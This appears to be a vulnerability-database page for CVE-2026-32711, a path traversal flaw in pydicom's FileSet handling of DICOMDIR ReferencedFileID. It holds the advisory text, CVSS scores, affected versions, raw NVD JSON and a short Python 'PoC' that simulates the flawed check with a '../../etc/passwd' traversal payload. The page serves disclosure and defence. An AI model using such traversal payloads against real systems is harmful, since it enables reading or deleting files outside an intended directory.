Security Vulnerability Report
中文
CVE-2026-32711 CVSS 7.8 HIGH

CVE-2026-32711

Published: 2026-03-20 02:16:34
Last Modified: 2026-03-23 17:02:26

Description

pydicom is a pure Python package for working with DICOM files. Versions 2.0.0-rc.1 through 3.0.1 are vulnerable to Path Traversal through a maliciously crafted DICOMDIR ReferencedFileID when it is set to a path outside the File-set root. pydicom resolves the path only to confirm that it exists, but does not verify that the resolved path remains under the File-set root. Subsequent public FileSet operations such as copy(), write(), and remove()+write(use_existing=True) use that unchecked path in file I/O operations. This allows arbitrary file read/copy and, in some flows, move/delete outside the File-set root. This issue has been fixed in version 3.0.2.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pydicom:pydicom:*:*:*:*:*:python:*:* - VULNERABLE
pydicom 2.0.0-rc.1
pydicom 2.0.0
pydicom 3.0.0
pydicom 3.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Proof of Concept for CVE-2026-32711 # Demonstrating the lack of path traversal validation def simulate_vulnerable_logic(file_set_root, referenced_file_id): """ Simulates the vulnerable logic in pydicom < 3.0.2. It resolves the path but fails to check if it stays within the root. """ # Resolve the absolute path based on the root and the provided ID # This mimics the vulnerable behavior where '../' is allowed resolved_path = os.path.abspath(os.path.join(file_set_root, referenced_file_id)) print(f"[*] File-set Root: {os.path.abspath(file_set_root)}") print(f"[*] ReferencedFileID: {referenced_file_id}") print(f"[*] Resolved Path: {resolved_path}") # Vulnerable check: only checks existence, not location relative to root if os.path.exists(resolved_path): print(f"[+] Path exists! Vulnerable operation (read/write) would proceed on: {resolved_path}") # Check if path escaped the root (The missing check) if not os.path.abspath(resolved_path).startswith(os.path.abspath(file_set_root)): print("[!!!] PATH TRAVERSAL DETECTED: Path is outside File-set root!") return resolved_path else: print("[-] Path does not exist.") return None if __name__ == "__main__": # Setup a fake root root_dir = "/tmp/dicom_files" # Malicious payload trying to escape the root malicious_payload = "../../../../../../etc/passwd" print("--- CVE-2026-32711 PoC Simulation ---") simulate_vulnerable_logic(root_dir, malicious_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32711", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:33.600", "lastModified": "2026-03-23T17:02:26.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pydicom is a pure Python package for working with DICOM files. Versions 2.0.0-rc.1 through 3.0.1 are vulnerable to Path Traversal through a maliciously crafted DICOMDIR ReferencedFileID when it is set to a path outside the File-set root. pydicom resolves the path only to confirm that it exists, but does not verify that the resolved path remains under the File-set root. Subsequent public FileSet operations such as copy(), write(), and remove()+write(use_existing=True) use that unchecked path in file I/O operations. This allows arbitrary file read/copy and, in some flows, move/delete outside the File-set root. This issue has been fixed in version 3.0.2."}, {"lang": "es", "value": "pydicom es un paquete de Python puro para trabajar con archivos DICOM. Las versiones 2.0.0-rc.1 hasta la 3.0.1 son vulnerables a salto de ruta a través de un ReferencedFileID de DICOMDIR creado maliciosamente cuando se establece a una ruta fuera de la raíz del conjunto de archivos. pydicom resuelve la ruta solo para confirmar que existe, pero no verifica que la ruta resuelta permanezca bajo la raíz del conjunto de archivos. Las operaciones públicas posteriores de FileSet, como copy(), write() y remove()+write(use_existing=True), usan esa ruta no verificada en operaciones de E/S de archivos. Esto permite la lectura/copia arbitraria de archivos y, en algunos flujos, mover/eliminar fuera de la raíz del conjunto de archivos. Este problema ha sido solucionado en la versión 3.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pydicom:pydicom:*:*:*:*:*:python:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "3.0.2", "matchCriteriaId": "08DDD9F4-ABF0-4750-A28A-8E9E7A8DF617"}]}]}], "references": [{"url": "https://github.com/pydicom/pydicom/commit/6414f01a053dff925578799f5a7208d2ae585e82", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pydicom/pydicom/releases/tag/v3.0.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/pydicom/pydicom/security/advisories/GHSA-v856-2rf8-9f28", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}